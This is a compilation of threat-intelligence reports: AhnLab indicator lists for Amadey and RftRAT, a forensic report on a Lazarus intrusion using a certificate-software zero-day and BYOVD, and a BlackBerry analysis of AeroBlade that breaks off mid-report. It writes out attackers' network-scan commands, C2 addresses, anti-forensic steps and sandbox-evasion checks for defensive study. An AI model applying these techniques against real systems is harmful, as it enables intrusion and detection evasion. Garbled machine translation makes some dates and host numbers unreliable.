(ht.dll) 94aef716b23e8fa96808f1096724f77f : Loader (ht.dll) 0786984ab46482637c2d483ffbaf66dc : Loader (ht.dll) 1f63ce3677253636a273a88c5b26418d : Loader (ht.dll) 6f7cd8c0d9bfb0f97083e4431e4944c1 : Amadey Dropper (10.dll) 4fc726ab835ce559bada42e695b3d341 : Amadey Dropper (11.dll) 0fc1c99fd0d6f5488ab77e296216c7c6 : Amadey Dropper (10.dll) f9c4d236b893c0d72321a9210359f530 : Amadey (svc4615.dll) e22336eaf1980d2be5feed61b2dbc839 : Amadey (svc7014.dll) 862a855557cc274ab86e226e45338cff : Amadey (mtms2883.dll) 0f5762be09db44b2f0ccf05822c8531a : Amadey (ad53.dat) c87094e261860e3a1f70b0681e1bc8c5 : Amadey (ad54.dat) bac7f5eefe6a67e9555e93b0d950db59 : Amadey (d021999.dll) c5a1305aba22c8fedd6624753849905b : Amadey (mtms02.dat) 068d395c60e32f01b5424e2a8591ba73 : Amadey (adal66.dat) f3caa0f922600b4423ebcb16d7ea2dc6 : RftRAT Dropper (_e2.dll) 355817015c8510564c6ac89c976f2416 : RftRAT Dropper (_d2.dll) d541aa6bae0f8c9bd7e7b6193b52e8f2 : RftRAT Dropper (d010943.dll) 093608a2d6eb098eb7ea917cc22e9998 : RftRAT Dropper (30.dll) f76cde928a6eda27793ade673bcd6620 : RftRAT (msc1439.dll) aaa42b1209ed54bfcbd2493fe073d59b : RftRAT (mtms1929.dll) 1003a440c710ddf7faa1a54919dd01d8 : RftRAT (rtm8668.dll) b67e6e4c16e0309cfc2511414915df15 : RftRAT (cmms1106.dll) 4d4d485d3bfd3cbc97ed4b9a671f740f : RftRAT (cmms2366.dll) cf3440fa165e3f78d2a2252a6924f702 : RftRAT (mtms7794.dll) 18/20 c55da826e50e2615903607e61968778f : RftRAT d070cf19b66da341f64c01f8195afaed : RftRAT (r2.dat) e665a985f71567f24a293ea430aad67d : RftRAT (r2.dat) c52410ed6787c39db87c4158e73089d4 : RftRAT (r1.dat) 1ac0b0da11e413a21bec08713e1e7c59 : RftRAT (40.dat) 39e755c08156123e4cabac6bf8d1fd3a : RftRAT (a2.dat) 187aa9b12c05cd1ff030044786903e7e : KeyLogger (NsiService.exe) b1337eb53b21594ac5dbd76138054ffb : KeyLogger (NsiService.exe) d820ddb3026a5960b2c6f39780480d28 : KeyLogger (NsiService.exe) 5c2809177bb95edc68f9a08a96420bb7 : Stealer Web browser (GBIA.exe) 0bf558adde774215bb221465a4edd2fe : Stealer Web browser (GBIA.exe) aa2cf925bae24c5cad2b1e1ad745b881 : Stealer Web browser (GPIA.dll) baa058003bf79ba82ac1b744ed8d58cb : Stealer Chrome extension (GBS.exe) 38182f1f0a1cf598295cfbbabd9c5bf4 : Stealer File path (GPIA.exe) 272c29bf65680b1ac8ec7f518780ba92 : Stealer File path (GPIA.exe) e860dac57933f63be9a374fb78bca209 : Proxy (svc.exe) e96ca2aa7c6951802e4b17649cc5b581 : Injector (taskhosts.exe) 4eddf54757ae168450882176243d2bd2 : Injector (sihosts.exe) 119063c82373598d00d17734dd280016 : LogonMon (ipcheck.dll) hxxps://prohomepage[.]net/index.php :Amadey AutoIt Script 45.76.93[.]204:56001 : RftRAT AutoIt Script 91.202.5[.]80:52030 : RftRAT AutoIt Script 192.236.154[.]125:50108 : RftRAT AutoIt Script hxxp://brhosting[.]net/index.php : Amadey hxxps://topspace[.]org/index.php : Amadey hxxps://theservicellc[.]com/index.php : Amadey hxxps://splitbusiness[.]com/index.php : Amadey hxxps://techgolfs[.]com/index.php : Amadey 23.236.181[.]108:52390 : RftRAT 152.89.247[.]57:52390 : RftRAT 172.93.201[.]248:8083 : RftRAT 172.93.201[.]248:52390 : RftRAT 209.127.37[.]40:52390 : RftRAT Subscribe to AhnLab s next-generation threat intelligence platform AhnLab TIP check related IOC and detailed analysis information. Categories:Malware Information Tagged as:Amadey,Kimsuky,RftRAT,xRAT 19/20 20/20 Lazarus attack group attack case using public certificate software vulnerability widely used by public institutions and universities asec.ahnlab.com/ko/48416 nuno Feb 2023, 2 Since last year (March 2021), the Lazarus attack group's malware has been found in a number of domestic companies such as defense, satellite, software, and media companies, and the AhnLab Security Emergency Response Center (ASEC) has been continuously tracking and analyzing the activities of the Lazarus attack group and related malware. The affected customer in this case had already been breached once by the Lazarus attack group in May 2022, and the breach recurred due to a 5-day vulnerability in the same software. At the time of the May 0 breach, the customer was using a weak version of the certificate-related program widely used in public institutions and universities, and all the software was updated to the latest version after the accident. This time, however, it was breached by a 2022-day vulnerability in the software. ASEC has reported the software to KISA, but the vulnerability has not been clearly identified, and the manufacturer and software are not disclosed in this article because no software patch has been released yet. In addition to this incident, the Lazarus Group is continuously researching various software vulnerabilities to infiltrate domestic institutions and companies, and is continuously changing TTP by disabling security products, and using antiforensic technologies to hinder and delay detection and analysis. This report is based on the victim's forensic analysis report. The report was prepared in January, but after delaying disclosure due to software vulnerability patching issues, the company decided to release the software information after anonymizing it. When a software patch is released, we will redistribute a report of the version that released the information. Outline of the incident CATEGORY DESCRIPTION Duration of the incident 2022/10/21 ~ 2022/11/18 Customer Type Financial Business Damage System Type Windows 10 Damage Status Backdoor malware infection and C2 communication Types of attacks assailant Lateral movement using 0-Day vulnerability of company A's certificate program Since the patch has not yet been released, vulnerable software information is not disclosed Disabling vaccines through BYOVD attacks Anti-forensics Timestamp operation Change the file name randomly and delete it Delete execution artifacts Use the same file name as the system file name Lazarus 1/16 Incident #Lazarus #skypeserver.exe #0-day # #BYOVD [table] analysis summary [Figure] Infringement Flow Chart Lessons from examples The attackers took advantage of a 0-Day vulnerability in the public certificate software widely used in the country. This type of software does not update automatically, so be sure to patch the latest version of your software and uninstall it if you are not using it. The attackers defeated the security product using a technique called BYOVD, which exploits a vulnerable driver kernel module. The attackers performed anti-forensic acts, such as changing and deleting files to conceal malicious behavior, or manipulating time information. The victim was re-breached by the same attacker in a similar way. In addition to reactive measures, continuous monitoring must prevent the threat from recurring. Case Details 2/16 Summary of analysis results After analyzing the two PCs received from the customer, it was confirmed that PC01 and PC02 were subjected to lateral movement attacks using vulnerabilities in the certificate software. PC02 was attacked from an unidentified internal system on October 10, and PC21 was attacked by PC01 on November 11. Given that PC18 and PC02 had the latest version of certificate software installed, it is believed that the attacker used a 01-Day vulnerability. In addition, PC02 and PC0 experienced V01 incapacitation on November 02, but a different method was used. The system analyzed this time was subjected to a lateral movement attack and was not related to the initial influx of attackers. It is believed that the victim's Internet network was threatened by the Lazarus attack group, which successfully broke in in May. SYSTEM DATE DESCRIPTION PC01 2022/11/18 Lateral movement attack due to certificate software vulnerability ( PC02 PC01 ) 2022/11/18 V3 Disabling Occurs 2022/10/21 Lateral movement attack due to certificate software vulnerability ( unknown internal system PC02 ) 2022/11/18 V3 Disabling Occurs PC02 [Table] Major malicious actions by each system PC01 Analysis PC01 is believed to have been compromised by a 2022-Day vulnerability attack in certificate software on 11/18/10 00:35:0. Three network connection attempts were made from PC02 to the service TCP port of PC01's certificate software. In the previous two connections, there was no special response from PC01, but when PC02 accessed PC11 at 18:10 on 00/01 using skypeserver.exe (unsecured) created using svchost.exe, PC01 encountered an error (AppCrash) in the certificate software, and malicious actions began thereafter. When AppCrash occurred, all error reports (WARs) and memory dump files stored in the system were deleted and could not be checked. It appears to have been intentionally deleted by the attackers. DATE TIME DESCRIPTION REMARKS 2022/11/15 16:18:52 svchost.exe network connection 10.20.XXX.125:XXXXX Presumed to be an attack failure or connection test 2022/11/18 9:49:31 svchost.exe network connection 10.20.XXX.125:XXXXX Presumed to be an attack failure or connection test 2022/11/18 10:00:27 network connection .exe skypeserver 10.20.XXX.125:XXXXX Successful exploits [Table] History of access from PC02 to certificate software service port of PC01 (V3 behavior log) 3/16 [Figure] Record of Crashdump File Generation in Certificate Software Among the traces identified in PC01, the difference from the attack that occurred in May is that the process used after the vulnerability attack in the certificate software was svchost.exe rather than ftp .exe, and the vulnerable version of the software was installed at the time, but this time all the latest versions were installed, so there is no known vulnerability information. TARGET INSTALL DATE SOFTWARE VERSION COMPROMISED DATE PC01 2022/07/01 Up-to-date 2022/11/18 PC02 2022/08/30 Up-to-date 2022/10/21 [table] Certificate software versions installed on PC01 and PC02 After accessing PC01, the attacker injected a malicious thread into a normal process (svchost.exe) and used it for C2 communication and backdoor. It then neutralized the V3 product installed on the system, and created and executed additional malicious files. In addition, in this analysis, traces of manipulation of the timestamp of malicious files were confirmed, and anti-forensic behaviors such as randomly changing and deleting file names when deleting files were found, so it seems that attackers are actively interfering with the analysis. TIMELINE (PC01) The timeline of the infringement identified in PC01 is as follows: TIME (22/11/18) CATEGORY BEHAVIORS 10:00:37 injection svchost.exe injects a malicious thread into a running process to start malicious activity 4/16 10:00:37 communication svchost.exe connects to the attacker's C2 address 121.78.246.155(dalbinews.co.kr) 10:10:01 Malicious file creation Malicious file creation C:\ProgramData\tszui.tmp (unsecured) 10:17:55 Anti-forensics Rename and delete malicious files Rename: C:\ProgramData\tszui.tmp -> Delete phqghumeaFile : C:\ProgramData\phqghumea (unsecured) 10:18:47 communication svchost.exe connects to the attacker C2 address 121.78.158.46 (www.studyholic.com) 10:20:28 Neutralize security products V3 detects security product incapacitation (Exploit/Win.Lazardoor.GEN) 10:20:24 communication Network connection to attacker C2 183.110.224.172 (ctmnews.kr) 10:27:58 Malicious file creation Malicious file creation C:\ProgramData\perlcritic.exe (unsecured) 10:28:53 Generate vulnerable driver files Malicious file execution C:\ProgramData\perlcritic.exe (unsecured)Driver file creation (not malicious) C\Windows\System32\drivers\PROCEXP152.SYS (secured) 10:29:16 Malicious file creation Malicious file creation C:\ProgramData\tds.tmp (unsecured) 10:29:36 Anti-forensics Rename and delete malicious files Rename: C:\ProgramData\tds.tmp -> mxnsbqyDelete files: C:\ProgramData\mxnsbqy (unsecured) 10:41:33 Anti-forensics Delete AppCrash File Delete File C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_XXXXXXXXXXXX.exe _9474ee13fbc7651aabaf2f3c9b1fedc9e7489e51_bc343f60_ddd4e0eb-714c-4cf4-ae2343cd18c59603 (unsecured) 10:42:19 Anti-forensics Rename and delete malicious files Rename: C:\ProgramData\perlcritic.exe -> kxlmatmoynktxlDelete files: C:\ProgramData\kxlmatmoynktxl (unsecured) 10:44:31 Malicious file creation 10:44:47 Anti-forensics Timestamp (Standard Information) operation of the backdoor loader (LegacyUserManager.dll) (Secure) 10:45:47 Malicious file creation Creation (Secured) of backdoor program (Keys.dat) Creation of malware with C2 access and file download function 10:45:56 Anti-forensics Timestamp (Standard Information) manipulation (Secured) of backdoor program (Keys.dat) 10:46:12 Malicious file creation Creation of backdoor program (Settings.vwx) (secured) Creation of malware with C2 access and file download function 10:46:30 Anti-forensics Timestamp (Standard Information) manipulation (Secured) of backdoor program (Keys.dat) Create (secure) backdoor loader (LegacyUserManager.dll) Loading target file: C:\ProgramData\Microsoft\Crypto\Keys\Keys.dat (secured) C: \ProgramData\Microsoft\Settings\Settings.vwx (secured) [table] Malicious behavior of attackers found on PC01 5/16 PC02 Analysis The attacker was found to have accessed PC10 by exploiting a vulnerability in the certificate software on 21/10 48:48:02. AppCrash occurred during the attack of the vulnerability, after which the ftp .exe was executed and malicious behavior began. This is the same method that occurred in the affected customer in May. The IP of the system that accessed PC5 has not been determined. [Picture] Certificate Software Error Log Verified on PC02 (Application.evtx) [Picture] Certificate software found in V02 MDP log on PC3 and malicious thread injection code in ftp .exe After first infiltrating PC10 on 21/02, the attacker created a malicious file that performed C2 server communication and backdoor functions through an injected ftp .exe. On 10/27, unlike the attack on the 21st, instead of ftp.exe, it injected a malicious thread into the SVChost.exe process, after which it carried out malicious actions with control until 11/18. On 11/15, it was confirmed that an FSWss file .exe was created to scan the internal network. After that, it was confirmed that he used svchost.exe to connect to the service port of PC01's certificate software twice. On 11/18, a skypeserver.exe file was created and the file was used to access PC01's TCP XXXXX, and at this time, an AppCrash of the certificate software occurred on PC01, and then PC02 confirmed traces of disabling antivirus, creating and executing malicious files, etc., the same as PC01. TIMELINE (PC02) The timeline of the infringement identified in PC02 is as follows: DATE TIME CATEGORY BEHAVIORS 22/10/21 10:48:50 C2 communication ftp.exe connects the attacker to the C2 address and the network 111.92.189.48 (www.scope.co.kr) 10:48:51 ftp.exe connects the attacker C2 address and network 183.110.224.172 (ctmnews.kr) 6/16 10:49:46 ftp.exe connects the attacker C2 address to the network 115.68.52.47 (www.artinsight.co.kr) 10:51:35 ftp.exe connects the attacker to C2 address and network 114.108.129.89 (www.kfcjn.com) 10:52:31 ftp.exe connects the attacker to C2 address and network 114.108.129.89 (www.kfcjn.com) 10:59:33 ftp.exe connects the attacker to C2 address and network 114.108.129.89 (www.kfcjn.com) 12:52:38 ftp.exe connects the attacker to C2 address and network 119.207.79.175 (lightingmart.co.kr) 14:21:58 Malicious file creation 14:59:07 22/10/27 22/11/15 ftp.exe create file C:\Windows\System32\lecacyusermanager.dll (secured) ftp.exe file created C:\Windows\System32\wptsextensions.dll (secured) 15:34:47 Anti-forensics Rename a malicious file Rename: C:\Windows\System32\legacyusermanager.dll -> C:\Windows\temp\lum.tmp (secured) 15:25:00 injection Injecting malicious threads into normal processes (svchost.exe) 15:26:05 C2 communication svchost.exe connects the attacker with C2 address 115.68.52.47 15:27:53 Malicious file creation svchost.exe created malicious file C:\Windows\System32\wptsextensions.dll (secured) 11:32:36 Create a file svchost.exe created malicious file C:\ProgramData\fswss.exe (unsecured) 11:32:48 File execution Network scanning with fswss.exe C:\ProgramData\fswss.exe /scan /UseIPAddressesRange 1 /IPAddressFrom 10.20.XXX.1 /IPAddressTo 10.20.XXX.255 /stext C:\ProgramData\fswss.log 11:33:41 Anti-forensics Rename malicious files Rename: C:\ProgramData\fswss.exe -> xeudsgpfo (unsecured) 12:50:13 Malicious file creation svchost.exe creates file C:\ProgramData\fmsysn.exe (not secured) 12:51:04 Execution of malicious files svchost.exe runs other processes C:\ProgramData\fmSysN.exe 10.20.XXX.1 10.20.XXX.36 XXXXX 10 c:\programdata\fmSysN.log 7/16 22/11/18 13:06:49 Anti-forensics Rename malicious files: C:\ProgramData\fmsysn.exe -> yfvepuvxbi (not secured) 16:18:52 Network Access svchost.exe attempts to access certificate software port on PC01 10.20.XXX.125:XXXXX(PC01) 16:33:06 Malicious file creation svchost.exe creates file C:\ProgramData\skypeserver.exe (unsecured) 9:49:31 Network Access svchost.exe attempts to access certificate software port on PC01 10.20.XXX.125:XXXXX(PC01) 9:51:07 svchost.exe created malicious file C:\ProgramData\skypeserver.exe (unsecured) 9:56:31 svchost.exe C:\ProgramData\sfbappsdk.dll ( 10:00:08 skypeserver.exe 121.78.246.155(dalbinews.co.kr) 10:00:27 skypeserver.exe 10.20.XXX.125:XXXXX(PC01) 10:06:14 : C:\ProgramData\sfbappsdk.dll -> bxikemvkqhcsz ( 10:06:42 : C:\ProgramData\skypeserver.exe -> kqcfqbxrgbfmwem ( 11:04:32 (svchost.exe) svchost.exe 121.78.158.46(studyholic.co.kr) 11:05:45 (Exploit/Win.Lazardoor.GEN) 11:06:56 C:\ProgramData\perlcritic.exe ( 11:07:02 C:\ProgramData\perlcritic.exe ( C:\Windows\System32\drivers\PROCEXP152.SYS 11:12:18 C:\ProgramData\perlcritic64.exe ( ] PC02 Major malicious acts 8/16 Disabling V3 by BYOVD In the PC01 and PC02 systems, an attempt to disable V11 was detected (Exploit/Win.Lazardoor.GEN) at 18/10 20:28:11 and 05:45:3, respectively, and the period after which V3 was disabled is as follows: PC01: 11/18 10:20:28 ~ 11/18 11:25:00 (about 1 hour) PC02: 11/18 11:05:45 ~ 11/21 14:07:08 (about 75 hours) During this period, V3-related processes are running, but normal behavior detection is not possible. However, after the system reboots, V3 returns to normal. [Picture] V01 Neutralization Detection Log Seen on PC3 Attackers need access to kernel memory to manipulate kernel memory on Windows systems to disrupt the operation of security products, and in May, Taiwanese component manufacturer ENE Technology's ene.sys was used in a BYOVD attack. At the time of detection of V01 incapacitation of PC02 and PC3, no trace of the attack method was found. Rather, a vulnerable driver file was created on the system after the V3 outbreak, which is the driver file of Procexp152 of ProcessExplorer, a process management utility provided .SYS free of charge by Microsoft, and is a vulnerable driver that can be used for BYOVD attacks. However, this driver file was created after V01 defeat on both PC02 and PC3, and was used by the perlcritic.exe (unsecured) file generated by the attacker. In other words, the order of V3 defeat occurrence time and driver file creation time does not match, so it is a BYOVD attack, PROCEXP152. It is not yet possible to say whether SYS was used to neutralize V3. The method that occurred in May and the method that occurred in November have the following differences. 9/16 CATEGORY ATTACK IN MAY, 2022 ATTACK IN NOVEMBER, 2022 Attack Techniques BYOVD Technique Not verified Vulnerable drivers Drivers from ENE Technology ene.sys Microsoft's ProcessExplorer driver was created after V3 disabled PROCEXP152.sys loader sb_smbus_sdk.dll Service registration Service registered perlcritic.exe (not secured) perlcritic64.exe (unsecured) No sign of service registration [Table] Comparison of traces related to V5 incapacitation in May and November Antiforensics PC01 and PC02 were found to have performed antiforensic actions to erase the traces of the attack. CATEGORY SYSTEM DESCRIPTION Manipulating timestamps on files PC01, PC02 [PC01] C:\Windows\System32\LegacyUserManager.dll Manipulated creation time : 2019-03-19 13:49:35 C:\ProgramData\Microsoft\Crypto\Keys\Keys.dat Manipulated creation time : 2019-03-19 13:49:35 Manipulated/created time : 2019-12-25 23:24:06 C:\ProgramData\Microsoft\Settings\Settings.vwx Manipulated creation time : 2022-05-13 16:09:19 [PC02] C:\Windows\system32\wptsextensions.dll Manipulated creation time : 2019-03-19 13:49:35 Delete a file after renaming a file PC01, PC02 [PC01] C:\ProgramData\tszui.tmp -> phqghumea C:\ProgramData\perlcritic.exe ->kxlmatmoynktxl C:\ProgramData\tds.tmp -> mxnsbqy [PC02] C:\ProgramData\fswss.exe -> xeudsgpfo C:\ProgramData\fmsysn.exe -> yfvepuvxbi C:\ProgramData\sfbappsdk.dll -> bxikemvkqhcsz C:\ProgramData\skypeserver.exe -> kqcfqbxrgbfmwem Delete Prefetch PC01 MSIEXEC.EXE-8FFB1633.pf, PERLCRITIC.EXE2EB3AC0F.pf and many more 10/16 [Table] Antiforensic Behavior Identified in PC01, PC02 Malware used by attackers List of malware CATEGORY FILENAME SYSTEM loader wptsextensions.dll PC02 Path: C:\Windows\System32\wptsextensions.dll Load Backdoor File Keys.dat legacyusermanager.dll PC01 PC02 Path: C:\Windows\System32\legacyusermanager.dll Load Backdoor File Keys.dat lum.tmp PC02 Path: C:\Windows\Temp\lum.tmp Load the backdoor file configmanager.tlb Keys.dat PC01 PC02 Path: C:\ProgramData\Microsoft\Crypto\Keys\Keys.dat loaded by wptsextensions.dll 2022/11/18 14:56:54 GMT Designed to run after +9, additional commands can be performed via cmd.exe Downloads additional binaries from the C2 server and runs them in fileless form Settings.vwx PC02 Loaded in wptsextensions.dll Randomly access from the following 3 C2s hxxps://www.artinsight[.] co.kr/data/admin/list.php hxxps://www.kfcjn[.] com/member/process/sms.php hxxps://ctmnews[.] kr/member/process/success.php Settings.vwx PC01 Loaded in legacyusermanager.dll Randomly access from the following 3 C2s hxxps://www.artinsight[.] co.kr/data/admin/list.php hxxps://www.kfcjn[.] com/member/process/sms.php hxxps://ctmnews[.] kr/member/process/success.php ProcEXP152.sys PC01 PC02 Path: C:\Windows\System32\drivers\PROCEXP152.SYS Drivers in ProcessExplorer Vulnerable driver module enables antivirus neutralization through BYOVD attacks fswss.exe PC02 Path: C:\ProgramData\fswss.exe NirSoft utility with the ability to scan the network or turn on a remote computer WakeMeOnLan: https://www.nirsoft.net/utils/wake_on_lan.html backdoor Exploited legitimate files DESCRIPTION 11/16 Unsecured files configmanager.tlb PC02 Path: C:\Windows\System32\configmanager.tlb Backdoor estimation loaded by lum.tmp perlcritic.exe perlcritic64.exe PC01 PC02 Path: C:\ProgramData\perlcritic.exe Executed by cmd.exe and loads PROCEXP152.SYS sfbappsdk.dll PC02 Path: C:\ProgramData\sfbappsdk.dll Injected svchost.exe created fmSysN.exe PC02 Path: C:\ProgramData\fmSysN.exe Injected svchost.exe created The following traces of execution have been identified: fmSysN.exe 10.20.XXX.1 10.20.XXX.36 XXXXX 10 c:\programdata\fmSysN.log skypeserver.exe PC02 Path: C:\ProgramData\skypeserver.exe Injected svchost.exe created C2 Connection tds.tmp PC01 Path: C:\ProgramData\tds.tmp Deleted after being changed to a random file name tszui.tmp PC01 Path: C:\ProgramData\tszui.tmp Deleted after being changed to a random file name REMARKS [table] List of malware C2 used by attackers CATEGORY DOMAIN ftp.exe 111.92.189.48 www[.]scope.co.kr 121.78.158.46 www[.]studyholic.com 121.78.246.155 dalbinews[.]co.kr 119.207.79.175 183.110.224.172 ctmnews[.]kr 211.249.220.83 ctmnews[.]kr 1.254.179.18 www[.]artinsight.co.kr 103.6.182.57 www[.]artinsight.co.kr 104.109.245.186 www[.]artinsight.co.kr 112.106.58.23 www[.]artinsight.co.kr 115.68.52.47 www[.]artinsight.co.kr 12/16 125.209.218.167 www[.]artinsight.co.kr 3.39.49.255 www[.]artinsight.co.kr 34.199.186.157 www[.]artinsight.co.kr 52.148.148.114 www[.]artinsight.co.kr 104.21.64.83 www[.]kfcjn.com 112.106.58.23 www[.]kfcjn.com 114.108.129.89 www[.]kfcjn.com 117.52.137.138 www[.]kfcjn.com 13.107.21.200 www[.]kfcjn.com 162.247.241.2 www[.] kfcjn.com 23.50.0.140 www[.] kfcjn.com 52.79.120.37 www[.] kfcjn.com [table] List of C2s used by attackers MITRE ATT&CK MAPPING Tactics DESCRIPTION Reconnaissance Resource Development T1587.001 Develop Capabilities: Malware Backdoor and loader fabrication T1587.004 Develop Capabilities: Exploits Prepare for certificate software vulnerabilities T1588.002 Obtain Capabilities: Tool fswss.exe (wakemeonlan by Nirsoft.exe) Initial Access Execution T1059.003 Command Scripting Interpreter: Windows Command Shell Run perlcritic.exe T1203 Exploitation for Client Execution Certificate Software Exploits Persistence 13/16 Privilege Escalation T1068 Exploitation for Privilege Escalation PROCEXP152.sys Defense Evasion T1562.001 Impair Defenses: Disable or Modify Tools V3 Incapacitation T1070 Indicator Removal Delete Prefetch files T1070.004 Indicator Removal: File Deletion Delete malicious files sfbappsdk.dll, fswss.exe, fmSysN.exe, skypeserver.exe, perlcritic.exe, perlcritic64.exe Delete crashdump files T1070.006 Indicator Removal: Timestomp Change malicious file time information Credential Access Discovery T1046 Network Service Discovery fswss.exe, fmSysN.exe Lateral Movement T1210 Exploitation of Remote Services Internal movement using certificate software vulnerabilities Collection Command and Control T1071.001 Application Layer Protocol: Protocols C2Server Communication T1102 Web Service Exploiting legitimate domains as C2 servers Exfiltration Impact Malicious files 14/16 MD5 Hash File Name AhnLab Detection Name 61B3C9878B84706DB5F871B4808E739A wptsextensions.dll Trojan/Win.Lazardoor.C5327680 C7256A0FBAB0F437C3AD4334AA5CDE06 legacyusermanager.dll Trojan/Win.Lazardoor.C5327680 A6602EF2F6DC790EA103FF453EB21024 lum.tmp Trojan/Win.Lazardoor.C5327681 FC8B6C05963FD5285BCE6ED51862F125 Keys.dat (PC01) Data/BIN. Lazarus 6EA4E4AB925A09E4C7A1E80BAE5B9584 Keys.dat (PC02) Data/BIN. Lazarus 27DB56964E7583E19643BF5C98FFFD52 Settings.vwx (PC01) Data/BIN. Lazarus BD47942E9B6AD87EB5525040DB620756 Settings.vwx (PC02) Data/BIN. Lazarus Malicious IP/URL Country 111.92.189.48 www[.] scope.co.kr 121.78.158.46 www[.] studyholic.com 121.78.246.155 dalbinews[.] co.kr 119.207.79.175 183.110.224.172 ctmnews[.] kr 211.249.220.83 ctmnews[.] kr 1.254.179.18 www[.] artinsight.co.kr 103.6.182.57 www[.] artinsight.co.kr 104.109.245.186 www[.] artinsight.co.kr 112.106.58.23 www[.] artinsight.co.kr 115.68.52.47 www[.] artinsight.co.kr 125.209.218.167 www[.] artinsight.co.kr 3.39.49.255 www[.] artinsight.co.kr 34.199.186.157 www[.] artinsight.co.kr 52.148.148.114 www[.] artinsight.co.kr 104.21.64.83 www[.] kfcjn.com 112.106.58.23 www[.] kfcjn.com 114.108.129.89 www[.] kfcjn.com 117.52.137.138 www[.] kfcjn.com 13.107.21.200 www[.] kfcjn.com 162.247.241.2 www[.] kfcjn.com 23.50.0.140 www[.] kfcjn.com 52.79.120.37 www[.] kfcjn.com 15/16 Detailed analysis information on related IOCs can be accessed through the subscription service of AhnLab's next-generation threat intelligence platform 'AhnLab TIP'. Categories:Malware Information Tagged as:A-FIRST,BYOVD,DFIR,Infringement Case,Lazarus 16/16 AeroBlade on the Hunt Targeting the U.S. Aerospace Industry blogs.blackberry.com/en/2023/11/aeroblade-on-the-hunt-targeting-us-aerospace-industry Dmitry Bestuzhev, The BlackBerry Research & Intelligence Team Summary BlackBerry has uncovered a previously unknown threat actor targeting an aerospace organization in the United States, with the apparent goal of conducting commercial and competitive cyber espionage. The BlackBerry Threat Research and Intelligence team is tracking this threat actor as AeroBlade. The actor used spear-phishing as a delivery mechanism: A weaponized document, sent as an email attachment, contains an embedded remote template injection technique and a malicious VBA macro code, to deliver the next stage to the final payload execution. Evidence suggests that the attacker s network infrastructure and weaponization became operational around September 2022. BlackBerry assesses with medium to high confidence that the offensive phase of the attack occurred in July 2023. The attacker improved its toolset during that time, making it stealthier, while the network infrastructure remained the same. Given the final payload functionality and the subject of the attack, BlackBerry assesses with medium to high confidence that the goal of this attack was commercial cyber espionage. Brief MITRE ATT&CK Information Tactic Technique Initial Access T1566.001 Execution T1204.002, T1059.005, T1203, T1559.002, T1559.001, T1106, T1059.003 Defense Evasion T1027, T1140, T1221, T1036.005, T1027.001, Persistence T1137.001, T1053.005 Command-andControl T1071.001, T1001, T1573.001, T1105 Exfiltration T1041, T1029 1/13 Discovery T1083, T1082, T1033, T1016 Weaponization and Technical Overview Weapons MS Office documents, PE 64 Attack Vector Spear-phishing Network Infrastructure C2 server on port 443 Targets Aerospace industry in the United States Technical Analysis Context The BlackBerry Threat Research and Intelligence team recently uncovered two campaigns by a previously unknown threat actor, which we have named AeroBlade, targeting an aerospace industry company in the U.S. We found two phases of the attack chain. The initial attack was conducted in September 2022, and based on our technical analysis, we have concluded this was a testing stage. The second attack occurred in July 2023. There are certain similarities between both campaigns: Both lure documents were named [redacted].docx. The final payload is a reverse shell. The command-and-control (C2) server IP address is the same. There are also some interesting differences between the two campaigns: The final payload of the 2023 attack is stealthier and uses more obfuscation and anti-analysis techniques. The 2023 campaign's final payload includes an option to list directories from infected victims. During an attack, a malicious Microsoft Word document called [redacted].docx is delivered via email spear-phishing, which, when executed manually by the user, employs a remote template injection to download a second stage file called [redacted].dotm . This file in turn executes "item3.xml", which creates a reverse shell connecting to "redacted[.]redacted[.]com" over port 443. 2/13 Figure 1 AeroBlade execution chain Attack Vector First Stage The first stage of the infection is a targeted email that has a malicious document attachment with the filename [redacted].docx. When opened, the document displays text in a deliberately scrambled font, along with a lure message asking the potential victim to click it to enable the content in MS Office. The docx document employs remote template injection, MITRE ATT&CK technique T1221, to download the second stage of the infection. 3/13 Figure 2 The malicious document displays text in a scrambled font, along with a visual lure asking the user to click it to enable content Figure 3 The fixed document that appears once the victim clicks the lure message to manually enable content The next-stage information is saved in an XML (eXtensible Markup Language) file inside a .dotm file. A .dotm file is a document template created by Microsoft Word, containing the default layout, settings, and macros for a document. Figure 4 Next stage parameter in the OLE file hxxp://[redacted].106.27. [redacted]/[redacted][.]dotm Once the victim opens the file and executes it by manually clicking the Enable Content lure message, the [redacted].dotm document discretely drops a new file to the system, and opens it. The newly downloaded document is readable, leading the victim to believe that the file initially received by email is legitimate. In fact, it s a classic cyber bait-and-switch, performed invisibly right under the victim s nose. 4/13 Figure 5 A second document is discretely downloaded and opened in place of the original malicious document s interesting to note that the body of the first-stage document contains an executable library that runs with the help of the second stage ll take a closer look at this executable library a little later on in this report. Figure 6 Location of the executable library in the file list in the [redacted].docx document Second Stage The second stage of execution is the OLE document which contains the macro. The macro runs the library included in the first-stage document. 5/13 Figure 7 A macro that runs a malicious PE file The second-stage macro also copies the OLE document ([redacted].docx) to a hard-coded file name at a specific path: C:\Users\user\AppData\Local\Temp\[redacted].zip The final execution stage will be an executable file run on the system using the macro. Payload The final payload is a DLL that acts as a reverse shell that connects to a hard-coded C2 server. Reverse shells allow attackers to open ports to the target machines, forcing communication and enabling a complete takeover of the device. It is therefore a severe security threat. The DLL is also capable of listing all directories found on the now-infected system. It is a heavily obfuscated executable which implements complex techniques, such as: Anti-disassembly techniques to make analysis harder API hashing to hide its usage of Windows functions; The hash function used is Murmur. Custom encoding for each string used Multiple checks are implemented to avoid the malware running on an automated environment such as a sandbox; This impedes analysis. For anti-disassembly, the executable contains control flow obfuscation, usage of data between code, and dead code-executed instructions that do not affect the malware. Dead code is a section in the source code of a program which is executed, but whose result is never used in any other computation. These techniques are all added to make analysis harder for defenders. 6/13 Figure 8 Example of data between code, control flow obfuscation, and use of dead code Figure 9 Usage of evil byte, a common technique to defeat the way disassembler tools work Figure 10 Fixed evil byte showing real code execution The executable also implements techniques that causes the malware to skip execution on automated systems, such as sandboxes or antivirus (AV) emulators. These techniques include: Comparing the position of the mouse cursor using the GetCursorPos() function Comparing time elapsed on execution using the function GetTickCount() Checking to see if the number of processors is less than two, using the NumberOfProcessors from the Process Environment Block (PEB) structure Checking physical memory size using the function GlobalMemoryStatusEx() Figure 11 Checking number of processors used by the victim s machine 7/13 Figure 12 Checking available physical memory on the victim s machine After passing all those checks, the malicious DLL executes the following sequence: Decrypts embedded static configuration containing the C2 server information for it to connect to Collects system information from the infected machine Sets persistence to survive upon system reboot Finally, it connects to the C2 server, transmitting all its collected information, and spawning a reverse shell, while also sending a list of directories found on the infected system. Figure 13 Static configuration Static configuration is AES encrypted, and once decrypted, contains the following structure: First DWORD: 0x154, unknown 